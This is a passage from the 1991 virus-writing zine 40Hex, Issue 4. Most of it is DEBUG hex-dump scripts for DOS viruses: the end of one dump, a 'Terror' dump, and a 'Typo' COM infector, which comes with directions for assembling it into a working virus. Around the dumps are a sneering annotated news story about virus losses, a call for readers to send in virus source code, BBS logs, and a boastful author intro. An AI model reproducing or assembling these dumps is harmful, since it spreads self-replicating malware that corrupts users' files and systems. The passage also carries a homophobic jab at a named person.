  428. e 0550  89 0E 76 00 B8 00 42 33 C9 8B D1 CD 21 72 3E 80  
  429. e 0560  3E 4E 00 00 74 04 EB 5B 90 90 BB 00 10 B4 48 CD  
  430. e 0570  21 73 0B B4 3E 8B 1E 70 00 CD 21 E9 51 01 FF 06  
  431. e 0580  8F 00 8E C0 33 F6 8B FE B9 C2 06 F3 A4 8B D7 8B  
  432. e 0590  0E 11 00 8B 1E 70 00 06 1F B4 3F CD 21 72 1F 03  
  433. e 05A0  F9 33 C9 8B D1 B8 00 42 CD 21 BE 05 00 B9 05 00  
  434. e 05B0  1E 0E 1F F3 A4 1F 8B CF 33 D2 B4 40 CD 21 72 0D  
  435. e 05C0  E9 C7 00 B9 1C 00 BA 4F 00 B4 3F CD 21 72 4A C7  
  436. e 05D0  06 61 00 89 19 A1 5D 00 A3 45 00 A1 5F 00 A3 43  
  437. e 05E0  00 A1 63 00 A3 47 00 A1 65 00 A3 49 00 A1 53 00  
  438. e 05F0  83 3E 51 00 00 74 01 48 F7 26 78 00 03 06 51 00  
  439. e 0600  83 D2 00 05 0F 00 83 D2 00 25 F0 FF A3 7C 00 89  
  440. e 0610  16 7E 00 05 C7 06 83 D2 00 72 3A F7 36 78 00 0B  
  441. e 0620  D2 74 01 40 A3 53 00 89 16 51 00 A1 7C 00 8B 16  
  442. e 0630  7E 00 F7 36 7A 00 2B 06 57 00 A3 65 00 C7 06 63  
  443. e 0640  00 C6 00 A3 5D 00 C7 06 5F 00 C0 06 33 C9 8B D1  
  444. e 0650  B8 00 42 CD 21 72 0A B9 1C 00 BA 4F 00 B4 40 CD  
  445. e 0660  21 72 11 3B C1 75 23 8B 16 7C 00 8B 0E 7E 00 B8  
  446. e 0670  00 42 CD 21 72 14 33 D2 B9 C2 06 B4 40 CD 21 B9  
  447. e 0680  05 00 8D 16 05 00 B4 40 CD 21 2E 83 3E 8F 00 00  
  448. e 0690  74 04 B4 49 CD 21 2E 83 3E 70 00 FF 74 31 2E 8B  
  449. e 06A0  1E 70 00 2E 8B 16 74 00 2E 8B 0E 76 00 B8 01 57 
  450. e 06B0  CD 21 B4 3E CD 21 0E 1F C5 16 80 00 2E 8B 0E 72  
  451. e 06C0  00 B8 01 43 CD 21 8D 16 1B 00 B8 24 25 CD 21 07  
  452. e 06D0  1F 5F 5E 5A 59 5B 58 9D 2E FF 2E 17 00 CD 20 BA  
  453. e 06E0  00 11 01 ED 05 80 01 23 0B FF FF 95 22 00 0A D5  
  454. e 06F0  44 00 00 00 00 00 00 00 00 00 00 FF BB F9 FA E8  
  455. e 0700  F2 F8 FA 95 FE E3 FE BB F8 EE E9 FE 95 FE E3 FE  
  456. e 0710  BB F7 F4 EF EE E8 95 F8 F4 F6 BB F8 EC F2 95 FE  
  457. e 0720  E3 FE BB FE EF F9 FA E8 F2 F8 95 FE E3 FE BB F9  
  458. e 0730  FA E8 F2 F8 FA 95 F8 F4 F6 BB 8A 89 88 95 FE E3 
  459. e 0740  FE BB FF F9 FA E8 FE 95 FE E3 FE BB F9 FA E8 F2  
  460. e 0750  F8 95 F8 F4 F6 BB 01 68 61 FC 03 00 00 00 00 00  
  461. e 0760  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  462. e 0770  00 00 00 00 00 00 00 00 8C 0D 01 00 20 1C C3 28  
  463. e 0780  8C 0D 01 00 FE 26 2E 00 8C 0D 04 7F A7 20 6C 15  
  464. e 0790  24 25 05 00 20 00 C6 08 60 C1 57 18 08 25 AB 00  
  465. e 07A0  44 7F 0A 02 C2 06 57 18 BD 1D 47 01 04 7F 7C 00  
  466. e 07B0  C2 06 B6 00 1C 09 AF 1D 3D 1C 07 02 BD 1D 02 02  
  467. e 07C0  4D 3A CD 20 C8 F7 E1 EE E7 1A 1A 1A 1A 1A 1A 1A  
  468.  
  469. rcx
  470. 7CF
  471. w
  472. q
  473.  
  474. ------------------------------------------------------------------------------
  475.  
  476. 40Hex Issue 4                                            December 1991
  477.  
  478.                                  Terror
  479.                                  ------
  480.  
  481.    Duh, just as I was about to relase this issue I found that I forgot
  482.    to make a artical 4.  So here it is.
  483.  
  484. -------------------------------------------------------------------------------
  485. n terror.com
  486. e 0100  50 8C C8 01 06 0B 01 58 EA 00 01 40 00 90 90 90
  487. e 0110  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  488. e 0120  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  489. e 0130  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  490. e 0140  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  491. e 0150  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  492. e 0160  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  493. e 0170  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  494. e 0180  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  495. e 0190  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  496. e 01A0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  497. e 01B0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  498. e 01C0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  499. e 01D0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  500. e 01E0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  501. e 01F0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  502. e 0200  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  503. e 0210  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  504. e 0220  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  505. e 0230  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  506. e 0240  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  507. e 0250  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  508. e 0260  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  509. e 0270  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  510. e 0280  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  511. e 0290  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  512. e 02A0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  513. e 02B0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  514. e 02C0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  515. e 02D0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  516. e 02E0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  517. e 02F0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  518. e 0300  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  519. e 0310  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  520. e 0320  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  521. e 0330  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  522. e 0340  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  523. e 0350  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  524. e 0360  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  525. e 0370  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  526. e 0380  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  527. e 0390  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  528. e 03A0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  529. e 03B0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  530. e 03C0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  531. e 03D0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  532. e 03E0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  533. e 03F0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  534. e 0400  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  535. e 0410  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  536. e 0420  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  537. e 0430  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  538. e 0440  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  539. e 0450  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  540. e 0460  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  541. e 0470  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  542. e 0480  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  543. e 0490  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  544. e 04A0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  545. e 04B0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  546. e 04C0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  547. e 04D0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  548. e 04E0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  549. e 04F0  90 90 90 90 90 90 90 90 90 90 90 B8 00 4C CD 21
  550. e 0500  EB 44 E4 12 AB 09 8D 13 D0 17 60 14 7A 0F E9 F8
  551. e 0510  03 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
  552. e 0520  90 90 90 90 90 90 44 3A 5C 43 4F 4D 4D 41 4E 44
  553. e 0530  2E 43 4F 4D 00 2E 81 3E 0E 01 5A 4D 74 07 2E 81
  554. e 0540  3E 0E 01 4D 5A C3 2E 8C 1E 41 05 50 B8 59 EC CD
  555. e 0550  21 3B E8 75 3E 0E 1F 58 2E 8E 06 41 05 E8 D5 FF
  556. e 0560  74 10 B9 0D 00 BE 0E 01 06 BF 00 01 57 F3 A4 06
  557. e 0570  1F CB 8C C6 83 C6 10 2E 01 36 24 01 2E 03 36 1C
  558. e 0580  01 2E 8B 3E 1E 01 06 1F FA 8E D6 8B E7 FB 2E FF
  559. e 0590  2E 22 01 B4 30 CD 21 BB 02 01 3D 03 0A 75 12 B8
  560. e 05A0  70 00 BB 43 0D 8E C0 26 80 3F 2E 75 2A 8B C3 EB
  561. e 05B0  2A 83 C3 04 3D 03 14 74 1E 83 C3 04 3D 03 1E 74
  562. e 05C0  16 B8 13 35 CD 21 2E 89 1E 27 05 2E 8C 06 29 05
  563. e 05D0  B8 21 35 8B D3 EB 16 2E 8B 47 02 2E 8B 17 2E A3
  564. e 05E0  27 05 2E C7 06 29 05 70 00 B4 34 CD 21 06 1F B8
  565. e 05F0  EC 25 CD 21 2E A1 41 05 8E C0 48 8E D8 8B 1E 03
  566. e 0600  00 83 EB 65 03 C3 26 A3 02 00 B4 4A CD EC BB 64
  567. e 0610  00 B4 48 CD EC 2D 10 00 8E C0 C6 06 00 00 5A 0E
  568. e 0620  1F BE 00 01 8B FE B9 43 04 90 F3 A4 BF 32 02 06
  569. e 0630  57 CB 26 C7 06 F1 00 70 00 B8 21 35 CD EC 2E 89
  570. e 0640  1E 87 02 2E 8C 06 89 02 B4 25 BA 63 02 0E 1F CD
  571. e 0650  EC 0E 07 BF 43 05 B9 19 00 B0 00 F3 AA E9 F7 FE
  572. e 0660  8B E8 CF 3D 59 EC 74 F8 3D 00 4B 74 1E 80 FC 3D
  573. e 0670  74 21 80 FC 3E 74 44 80 FC 11 75 0A 57 8B FA 80
  574. e 0680  7D 06 08 74 77 5F EA 5C 06 1E 29 E8 91 00 EB F6
  575. e 0690  59 EB F3 51 E8 27 02 72 F7 83 F9 20 59 75 E7 B0
  576. e 06A0  02 9C 2E FF 1E 87 02 72 0F 50 53 8B D8 2E A0 5C
  577. e 06B0  05 2E 88 87 43 05 5B 58 CA 02 00 2E 80 BF 43 05
  578. e 06C0  00 74 C3 50 2E 8A 87 43 05 2E A2 5C 05 2E C6 87
  579. e 06D0  43 05 00 B4 45 CD EC 2E A3 41 05 58 72 A8 9C 2E
  580. e 06E0  FF 1E 87 02 72 D2 53 2E 8B 1E 41 05 1E E8 5F 00
  581. e 06F0  E8 92 00 E8 A6 01 1F 5B F8 CA 02 00 50 52 1E 8A
  582. e 0700  45 07 BA 26 01 0A C0 74 08 04 40 2E A2 26 01 EB
  583. e 0710  03 83 C2 02 0E 1F E8 06 00 1F 5A 58 E9 66 FF 50
  584. e 0720  53 51 E8 99 01 72 24 51 1E E8 23 00 1F B8 01 43
  585. e 0730  33 C9 CD EC 72 07 B8 02 3D CD EC 8B D8 59 72 08
  586. e 0740  E8 42 00 B8 01 43 CD EC E8 51 01 59 5B 58 C3 50
  587. e 0750  52 53 06 B8 13 35 CD EC 2E 89 1E 22 05 2E 8C 06
  588. e 0760  24 05 B0 24 CD EC 2E 89 1E 3D 05 2E 8C 06 3F 05
  589. e 0770  07 5B 0E 1F BA 19 05 B4 25 CD EC BA 1C 05 B0 13
  590. e 0780  CD EC 5A 58 C3 50 51 52 56 57 1E BF 0E 01 B9 FF
  591. e 0790  FF BA FA FF B8 02 42 CD EC B4 3F B9 06 00 0E 1F
  592. e 07A0  8B D7 CD EC 72 1B 2E 81 3D 54 65 74 14 33 C9 33
  593. e 07B0  D2 B8 00 42 CD EC B4 3F B9 18 00 8B D7 CD EC 73
  594. e 07C0  03 E9 C4 00 33 C9 33 D2 2E 80 3E 5C 05 02 75 0B
  595. e 07D0  81 7D 01 00 40 77 EA 49 BA 83 FB B8 02 42 CD EC
  596. e 07E0  A9 0F 00 74 0F 8B CA 8B D0 83 C2 10 80 E2 F0 B8
  597. e 07F0  00 42 EB EA E8 3E FD 74 11 0B D2 75 C4 3D 00 04
  598. e 0800  73 03 E9 83 00 3D 00 FA 77 7E B1 04 D3 E8 8B F0
  599. e 0810  B1 0C D3 E2 03 F2 B4 40 BA 00 01 B9 3D 04 90 CD
  600. e 0820  EC 72 65 E8 0F FD 75 3C 83 EE 10 2E 2B 75 08 2E
  601. e 0830  C7 45 14 00 01 2E 89 75 16 2E C7 45 10 00 04 83
  602. e 0840  C6 44 90 2E 89 75 0E B8 02 42 33 C9 33 D2 CD EC
  603. e 0850  B9 00 02 F7 F1 0B D2 74 01 40 2E 89 55 02 2E 89
  604. e 0860  45 04 EB 12 56 57 06 0E 07 BE 2B 05 B9 0B 00 F3
  605. e 0870  A4 07 5F 8F 45 0B B8 00 42 33 C9 33 D2 CD EC B4
  606. e 0880  40 B9 18 00 8B D7 CD EC B8 00 57 CD EC B0 01 CD
  607. e 0890  EC B4 3E CD EC 1F 5F 5E 5A 59 58 C3 50 52 1E B8
  608. e 08A0  13 25 2E 8B 16 22 05 2E 8E 1E 24 05 CD EC B0 24
  609. e 08B0  2E 8B 16 3D 05 2E 8E 1E 3F 05 1F 5A 58 C3 50 06
  610. e 08C0  57 53 8B FA 1E 07 B0 00 B9 40 00 F2 AE 8B 45 FD
  611. e 08D0  8B 4D FB 25 5F 5F 80 E5 5F 3D 4F 4D 75 09 81 F9
  612. e 08E0  2E 43 74 0E F9 EB 2D 3D 58 45 75 F8 81 F9 2E 45
  613. e 08F0  75 F2 B9 07 00 BB FF FF 43 8A 41 F4 24 5F 2E 3A
  614. e 0900  87 29 01 E1 F3 B0 01 75 02 B0 02 2E A2 5C 05 B8
  615. e 0910  00 43 CD EC 5B 5F 07 58 C3 B0 03 CF 80 FC 03 74
  616. e 0920  05 EA C8 0E 1E 29 EA 7A 0F 70 00 50 8C C8 01 06
  617. e 0930  0B 01 58 EA 00 01 20 54 65 72 72 6F 72 1A 1A 1A
  618. rcx
  619. 083d
  620. w
  621. q
  622. -------------------------------------------------------------------------------
  623. 40Hex Issue 4                                            December 1991
  624.  
  625. "No feelings of what I left behind, no guilt for the victims of my
  626.  crime.  No compassion, just a burning deep inside.  No pain... I'm here
  627.  just to die... " - Sub Zero
  628.  
  629.  
  630. This artical is from the 11/26/91 morning final of the San Jose Mercury News
  631.  
  632. **text written like this is my comments**
  633.  
  634.                  SURVEY DEFLATES COMPUTER-VIRUS DANGERS
  635.  
  636. But safeguards are few as cases proliferate.
  637.  
  638.   Computer viruses, those nasty bits of distructive programming unleashed
  639. by deviant hackers, are multiplying at a startling rate - but haven't
  640. proved nearly as troublesome as once feared and aren't scaring users
  641. enough to take even simple safeguards.
  642.    Dataquest Inc. a marker research firm in San Jose released a
  643. groundbreaking 150-page survey Monday showing that almost two-thirds of
  644. business and government orginazatons with more than 300 personal
  645. computers has encountered a viurs at least once this year.  Yet only 15
  646. percent of them has installed anti-virus software.
  647.    What's more, Dataquest found the virus encounters more than doubled
  648. in each of the first three quarters of 1991. **<smile, smile>**
  649.    The National Computer Security Association of Washington D.C., which
  650. represents 1,000 developers of anti-virus software, hired Dataquest to
  651. conduct what is apparently the first study of virus proliferation by a
  652. reseacher not directly employed by an anti-virus software company.
  653.    Computer viruses hide themselves in legitamate files, jumping from
  654. machine to machine.  Triggered either at random or on a set date, such
  655. as Friday the 13th, the most destructive viruses gobble up programs and
  656. data in their host computers. **gobble???**
  657.    Robert Morris, then a student at Cornell University, unleashed a
  658. the biggest virus to date in November 1988 **please** when a program he
  659. intended to queitly slip onto a network call Internet went out of
  660. control and temporally shut down 6,000 computers at universitys and
  661. government reaserch labrotorys nationwide.  In the wake of the Internet
  662. case, there were dire predictions of future virus attacks the could
  663. bring the entire economy grinding to a halt.
  664.     But there haven't been any major virus outbreaks since then and, it
  665. turnded out, the Internet virus **Internet worm, damn it!!!** did little
  666. permanent damage.
  667.     What's more, most viruses are relitavely mild - more like a case of
  668. sniffles the double pnemonia.  Typically, these mild viruses take up
  669. space in the computers memory and slow down operations, but don't
  670. destroy data. ** :) :( **
  671.     "Many viruses are very innocuous," said Shella Cotter, director of
  672. software consulting for Dataquest. "You find them, you identify them and
  673. you get rid of them."
  674.     "Many of the viruses I've heard about have not been big problems,"
  675. added Jay BloomBecker ** tell me he aint gay **, director of the
  676. National Center for Computer Crime Data in Santa Cruz.  "But it's
  677. significant enough that if you're not paying attention to it, you
  678. security is probably inadeqaute."
  679.     Anti-virus software sold over the counter automatcally plucks out
  680. the most of the roughly, 1,000 viruses identifey thoughout the world.
  681. Occasoinally however, killer viruses can take over an entire computer
  682. system and threaten a buisness with massive losses of crucial
  683. information.
  684.     Dataquest talked to 600 orginazations during October and dicovered
  685. that 63 percent had encountered at least one virussince the beginning of
  686. the year.  Of these reporting and encounter, 62 percent claimed "a
  687. definite loss of productivity," although the $70,000 study did not
  688. tabulate the total cost.
  689.     In the survey group, 9 percent reported a "virus disaster," defined
  690. as a single incedent affecting 25 or more personal computers or
  691. diskettes.  On average, computers involved in a virus disaster were out
  692. of commision four days and required reprogramming at a cost of $6,200.
  693.     And, in 3 percent of virus attacks, either the person who introduced
  694. the virus or the person responible for computer security was threatened
  695. with dismmisal.  Dataquest didn't count how many were actually fired.
  696.     "Computer viruses are much more prevalent than people think and,
  697. unless we think, and unless we take precautions, over time they are
  698. going to get worse," said Andrew Seybold, head of the Dataquest servey
  699. team.
  700.     But anti-virus software and strict enforcement of computer scurity
  701. policies could change in the future.
  702.     "The good news is, it's solveable.  The bad news is companies aren't
  703. chossing to solve it,", Cotter concluded.  ** The other way around for
  704. us **
  705.  
  706.  
  707. 40Hex Issue 4                                            December 1991
  708.  
  709.                          The Typo COM Virus
  710.  
  711.         The Typo Virus comes in 2 forms - a boot sector infector, and a 
  712. COM file infector.  This version is the COM version.  The effective 
  713. length of the virus is 867 bytes, and it only infects COM files.  Typo 
  714. stays resident, and can infect files whether they are run or not, from my 
  715. experience.  Typo isn't a destructive virus, but it does garble any 
  716. output to the parallel ports, by exchanging certain letters with others 
  717. that sound similar, and by transposing numbers.  Sometimes it replaces 
  718. one number with an entirely different number.  Typo is believed to have 
  719. originated in Israel, because some Hebrew letters are changed when it is 
  720. active, and it was isolated in that country.  Typo is easily detected by 
  721. SCAN, and the scan string is "A1 58 00 2E 89 84 99 FE 26 A1 5A 00" in lines
  722. 400 and 410 of the hex dump, below.
  723.  
  724. To assemble TYPO.COM, cut out the following hex, and name the resulting 
  725. file TYPO.  Then, issue the command DEBUG < TYPO and you will have a 
  726. working version of the virus.
  727.  
  728.                                         --DecimatoR
  729.  
  730. ----------------------------Cut Here------------------------------
  731. n typo.com
  732. e 0100  E9 18 00 31 E9 FF FF 2A 2E 43 4F 4D 00 CD 20 20  
  733. e 0110  56 31 05 00 CE CD 20 00 59 00 00 53 51 52 1E 06  
  734. e 0120  56 0E 1F E8 00 00 5E 83 EE 24 FF 4C 16 83 7C 16  
  735. e 0130  03 75 05 C7 44 16 5B 00 E8 85 02 BA D0 00 B4 1A  
  736. e 0140  CD 21 8A 44 0B 88 44 12 8B 44 0C 89 44 13 B4 2A  
  737. e 0150  CD 21 F6 C2 01 75 1F 8B D6 81 C2 05 00 33 C9 B4  
  738. e 0160  4E CD 21 72 11 E8 2C 00 8B D6 81 C2 05 00 33 C9  
  739. e 0170  B4 4F CD 21 73 EF 8A 44 12 A2 00 01 8B 44 13 A3  
  740. e 0180  01 01 BA 80 00 B4 1A CD 21 5E 07 1F 5A 59 5B B8  
  741. e 0190  00 01 FF E0 B8 01 43 BA EE 00 33 C9 CD 21 B8 02  
  742. e 01A0  3D BA EE 00 CD 21 73 03 E9 B4 00 89 44 10 8B D8  
  743. e 01B0  B4 3F B9 03 00 8B D6 81 C2 0B 00 CD 21 80 7C 0B  
  744. e 01C0  E9 75 30 8B 54 0C 83 EA 16 33 C9 B8 00 42 8B 5C  
  745. e 01D0  10 CD 21 8B D8 B4 3F B9 02 00 8B D6 81 C2 0E 00  
  746. e 01E0  8B 5C 10 CD 21 72 65 3D 00 00 74 07 8B 44 0E 3B  
  747. e 01F0  04 74 59 33 C9 33 D2 B8 02 42 8B 5C 10 CD 21 72  
  748. e 0200  4B 2D 03 00 89 44 03 8B 5C 10 B4 40 B9 63 03 90  
  749. e 0210  8B D6 81 C2 00 00 CD 21 72 32 83 44 03 19 33 D2  
  750. e 0220  33 C9 B8 00 42 8B 5C 10 CD 21 72 20 8B 5C 10 B4  
  751. e 0230  40 B9 03 00 8B D6 81 C2 02 00 CD 21 B8 01 57 8B  
  752. e 0240  5C 10 8B 0E E6 00 8B 16 E8 00 CD 21 8B 5C 10 B4  
  753. e 0250  3E CD 21 B8 01 43 BA EE 00 8A 0E E5 00 CD 21 C3  
  754. e 0260  FB 80 FC DD 75 03 8A C4 CF 80 FC 00 74 6C EA 2E  
  755. e 0270  E8 00 F0 C7 84 C7 84 59 00 60 31 32 33 34 35 36  
  756. e 0280  37 38 39 30 2D 3D 5C 7E 21 40 23 24 25 5E 26 2A  
  757. e 0290  28 29 5F 2B 7C 71 77 65 72 74 79 75 69 6F 70 5B  
  758. e 02A0  5D 5B 61 73 64 66 67 68 6A 6B 6C 3B 27 7A 78 63  
  759. e 02B0  76 62 6E 6D 2C 2E 2F 51 57 45 52 54 59 55 49 4F  
  760. e 02C0  50 7B 7D 41 53 44 46 47 48 4A 4B 4C 3A 22 3B 5A  
  761. e 02D0  58 43 56 42 4E 4D 3C 3E 3F 2E 56 E8 00 00 5E 9C  
  762. e 02E0  2E FF 5C 91 53 06 BB 40 00 8E C3 26 8B 1E 6C 00  
  763. e 02F0  53 2E 2B 5C 95 83 FB 02 5B 2E 89 5C 95 7F 39 2E  
  764. e 0300  87 5C 97 2E 2B 5C 97 F7 DB 2E 3B 5C 99 7C 29 2E  
  765. e 0310  FF 4C 99 2E 83 7C 99 06 74 06 2E C7 44 99 5B 00  
  766. e 0320  83 EE 65 51 B9 61 00 2E 3A 04 74 07 46 E2 F8 59  
  767. e 0330  EB 06 90 59 2E 8A 44 01 07 5B 5E CA 02 00 80 FC  
  768. e 0340  00 74 05 80 FC 4C 75 19 E8 24 00 2E 8B 16 2C 00  
  769. e 0350  8E C2 BB 00 00 B4 4A CD 21 BA 1D 00 83 C2 01 B4  
  770. e 0360  31 EA 60 14 73 02 B8 00 4C EB D3 3F 14 73 02 51  
  771. e 0370  57 56 06 E8 00 00 5E 56 BF 00 01 B9 DE 00 2E 8A  
  772. e 0380  84 EA FE 2E 88 05 46 47 E2 F4 5E 33 C9 8E C1 2E  
  773. e 0390  8B 4C EC 26 89 0E 84 00 2E 8B 4C EE 26 89 0E 86  
  774. e 03A0  00 2E 8B 4C F5 26 89 0E 80 00 2E 8B 4C F7 26 89  
  775. e 03B0  0E 82 00 B9 00 01 26 89 0E 58 00 07 5E 5F 59 C3  
  776. e 03C0  50 32 C0 B4 DD CD 16 3A C4 75 02 58 C3 53 56 06  
  777. e 03D0  8B 54 16 E8 00 00 5E 53 06 BB 40 00 8E C3 26 8B  
  778. e 03E0  1E 6C 00 2E 89 9C 9D FE 2E 89 9C 9F FE 07 5B 89  
  779. e 03F0  94 A1 FE 33 C0 8E C0 26 A1 84 00 2E 89 44 8C 26  
  780. e 0400  A1 86 00 2E 89 44 8E 26 A1 58 00 2E 89 84 99 FE  
  781. e 0410  26 A1 5A 00 2E 89 84 9B FE 26 A1 80 00 2E 89 44  
  782. e 0420  95 26 A1 82 00 2E 89 44 97 FA 0E 26 8F 06 86 00  
  783. e 0430  26 89 36 84 00 26 81 2E 84 00 98 00 0E 26 8F 06  
  784. e 0440  82 00 26 89 36 80 00 26 83 2E 80 00 70 0E 26 8F  
  785. e 0450  06 5A 00 26 89 36 58 00 26 81 2E 58 00 76 01 FB  
  786. e 0460  07 5E 5B 58 C3 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 
  787. rcx
  788. 464
  789. w
  790. q
  791. --------------------------Cut Here Too-----------------------------
  792.  
  793. Notice to all: 40Hex is always looking for new viruses to do write ups 
  794. on, and new source code to distribute.  If you have a copy of a rare 
  795. virus, and/or viral source code, please send it to Digital Warfare BBS, 
  796. at 717-367-3501.  We'll be happy to give you the credit for donating it - 
  797. IF you want us to.  ;)
  798.                                    ---Dec
  799.  
  800. 40Hex Issue 4                                            December 1991
  801.  
  802.  
  803.                        How Lame Are These People?
  804.                        -------------------------
  805.  
  806. This text is from the Homebase BBS, Mcaffee's board, all I can say is
  807. read it.  Special apperance from Data Distruptor of Rabid and
  808. Lestat/Skism, AKA me... Read on...
  809.  
  810.  
  811. Msg#: 5712 *viru*
  812. 11-19-91 17:11:34
  813. From: TERRY ROSS
  814.   To: ALL
  815. Subj: IS THIS A VIRUS?
  816. Hi.  Is there a known virus which displays a screen which reads "INC, for
  817. quality cracks?"  I have recently inherited a computer at the company I work at
  818. and there was apparently some tetris and blockout games on the disk which are
  819. the source of this message.  I found a file called "runme.bat" with the text in
  820. it, but even after I deleted it, it still pops up the aforementioned message.
  821. Also, the message gives me a choice of EGA CGA or monochrome and in general,
  822. the message makes life difficult for me.
  823.         any help with this would be vastly appreciated.
  824.  
  825. <*>Replies
  826. <A>gain, <R>eply, <N>ext, or <S>top?
  827.  
  828.  
  829. Msg has replies, read now(Y/N)? y
  830.  
  831.  
  832. Msg#: 5715 *viru*
  833. 11-19-91 17:50:59
  834. From: ARYEH GORETSKY
  835.   To: TERRY ROSS
  836. Subj: REPLY TO MSG# 5712 (IS THIS A VIRUS?)
  837. If you can upload a copy of an infected file, we can see if it contains viral
  838. code.
  839.  
  840. Aryeh Goretsky
  841.  Tech Support
  842.  
  843. <->, <A>gain, <R>eply, <N>ext, or <S>top? N
  844.  
  845. -- The below text was deleted by Aryeh, I don't think he likes me --
  846.  
  847. Msg#: 5718 *viru*
  848. 11-19-91 19:42:34
  849. From: LESTAT /SKISM
  850.   To: TERRY ROSS
  851. Subj: REPLY TO MSG# 5712 (IS THIS A VIRUS?)
  852. It's not a virus.  INC is the International Network of Crackers.  What they do
  853. is unprotect games and distribute them.  What you do have is most likely
  854. illegally obtained software.
  855.  
  856. <->, <D>elete, <A>gain, <R>eply, <N>ext, or <S>top?
  857.  
  858.  
  859. End of Replies, add yours(Y/N)? N
  860.  
  861.  
  862. Msg#: 5717 *viru*
  863. 11-19-91 18:01:25
  864. From: DATA DISRUPTOR
  865.   To: ARYEH GORETSKY
  866. Subj: REPLY TO MSG# 5597 (RABID)
  867.  Haha! Funny guy. I believe you are referring to the Roland D-10 and S-10
  868. series of keyboards... R-10 being a keyboard... bah!
  869.  
  870. Data Disruptor RABID Int'nl Development Corp.
  871.  
  872. <*>Replies
  873. <->, <A>gain, <R>eply, <N>ext, or <S>top?
  874.  
  875.  
  876. Msg has replies, read now(Y/N)? y
  877.  
  878.  
  879. -- Again I was deleted, come on Aryeh old buddy --
  880.  
  881. Msg#: 5719 *viru*
  882. 11-19-91 19:45:03
  883. From: LESTAT /SKISM
  884.   To: DATA DISRUPTOR
  885. Subj: REPLY TO MSG# 5717 (RABID)
  886. Thats coming from a guy who thinks INC are virus writers.  Jessh.
  887.  
  888. <->, <D>elete, <A>gain, <R>eply, <N>ext, or <S>top?
  889.  
  890.  
  891. End of Replies, add yours(Y/N)? N
  892.  
  893. 40Hex Issue 4                                            December 1991
  894.  
  895. "I take my boys everywhere I go, cause I'm paranoid..."
  896.  
  897.                            The Marauder Virus
  898.                            ------------------
  899.  
  900.  
  901.     December marks the first year of the group Skism.  The alliance of
  902.     Phalcon/Skism took place around July 1991.  Me and a few freinds at
  903.     school started the group by hacking old viruses into new strains.
  904.     Well I have lost contact with these people since then and a new
  905.     breed of members has risen from the ashes.
  906.  
  907.     Well, I myself have learned a lot over the year.  I went from virus
  908.     hacker with about three viruses to my name, to overwritting man,
  909.     to what I am now.  An advanced (kind of) level assembler programmer,
  910.     writing parasitic infectors.  Well come this time next year I belive
  911.     I'll be into more major stuff, ya know sick mother fucking DIR-2
  912.     type action.  I've written a couple of TSR viruses shells, nothing
